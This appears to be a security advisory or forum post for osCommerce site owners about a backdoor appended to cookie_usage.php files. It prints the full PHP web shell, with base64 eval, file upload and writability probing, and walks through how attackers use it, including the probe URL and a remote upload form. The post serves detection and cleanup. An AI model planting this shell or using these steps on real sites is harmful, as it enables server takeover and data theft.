The second level of attacks were then launched focussing on those sites that did not completely delete and reinstall their code, but rather took their chances cleaning out their files and folders. The cookie_usage.php file was but one of those files that had malicious code appended into it for this purpose.
If your site has been attacked in the past you will probably find that either your main cookie_usage.php file and/or /includes/languages/english/cookie_usage.php (or a number of other files in that folder that may have been affected) have had code written into them that resembles below.
You may also find that in the instance where the attacker was not able to overwrite cookie_usage.php due to your servers configuration, that they have created cookie_usage.php in the first writable folder they could find (usually image folder).
This code or similar is usually resident in the attacked file:
<?php
if(isset($_GET['cookies'])) {
echo '--'.'><i>Goog1e_analist_certs</i><br>';
if(isset($_POST['e'])) {
eval(base64_decode($_POST['e']));
}
if(isset($_FILES['f'])) {
if(!@copy($_FILES['f']['tmp_name'],$_FILES['f']['name'])) {
@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
}
}
if(isset($_GET['d'])) {
echo @is_writable($_GET['d']);
}
exit;
}
?>
This code has several functions, it primary purpose is to firstly test files within your site to see if they are writable, and then overwrite those files with malware content.
While many have patched their sites with changes to the admin folder, adding in security code, whitelisting, adding htaccess etc, many thousands more websites still have this code resident in one of the files on their site.
The infection could have taken place back before knowledge of the admin bypass exploit became public knowledge and may even be already in site backups, and would not initially interfere in any way with the functionality of the site as it is just a dormant code awaiting activation.
Attack matrix:
(assuming the target site already has this code resident in one of its files)
1/ Firstly a victim site is found via a google search and tested to see if it has been preinfected.
This address is called, www.yoursite.com/cookie_usage.php?cookies=1 (by adding ?cookies=1 to the filename)
If the malicious code is resident in the targetted file, the browser will display the following at the top of the cookie_usage.php page
Quote
-->Goog1e_analist_certs<!--
2/ Once this is establish, the attacker can now inject code into the cookie_usage.php page via posting data with a form variable name of 'e'. The code will be base64 encoded php code. For example:
ZWNobyAidGhpcyBpcyBhIHRlc3QiOw==decodes to:
echo "this is a test";So if posted in form as:
e=ZWNobyAidGhpcyBpcyBhIHRlc3QiOw==
It would be executed on the cookie_usage.php page which would display the message: this is a test
This means the attacker now has the ability to execute whatever code they wish on your server including reading other files like your configure.php files.
3/ The attacker then can begin testing to see if files on that server are writable by the following uri call.
www.yoursite.com/cookie_usage.php?cookies=1&d=somefilename.php
Where d is equal to the filename they are testing. If writable, the page will then display a 1.
4/ If writable, it is then possible for the attacker to read file content, write to the files, change their file permissions (in some circumstances) and delete file content.
5/ The last piece of this code allows a file to be posted into the directory. The file can be posted from a remote form into the same directory the exploited file above sits in.
Example remote form:
<?php $site = './'; // the target oscommerce shop $exploiter = 'cookie_usage.php?cookies=1'; echo '<form action="'. $site . $exploiter . '" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="f" size="50"><input name="submit" type="submit" id="submit" value="Upload"></form>'; ?>
On servers where the username and the script both run as the owner, this type of exploit code has no limits to what it can achieve because if the file is readable, writable, deletable and can have its permissions changed by a php script, then this can do the same.
This type of exploit is now being used by spammers to post javascript code with ads embedded into the main include files and .js files.
There is no real way around this exploit, if the code is resident in one of your files then the only way to stop it is to rid the files of that code either by meticulously cleaning out your site code, or reloading a backup that has not been infected (how would you know this though), or using some addon to scan your files for the code (but will it pick up the variations as there are many), or deleting all files and upgrading to the more secure oscommerces 2.3.1.
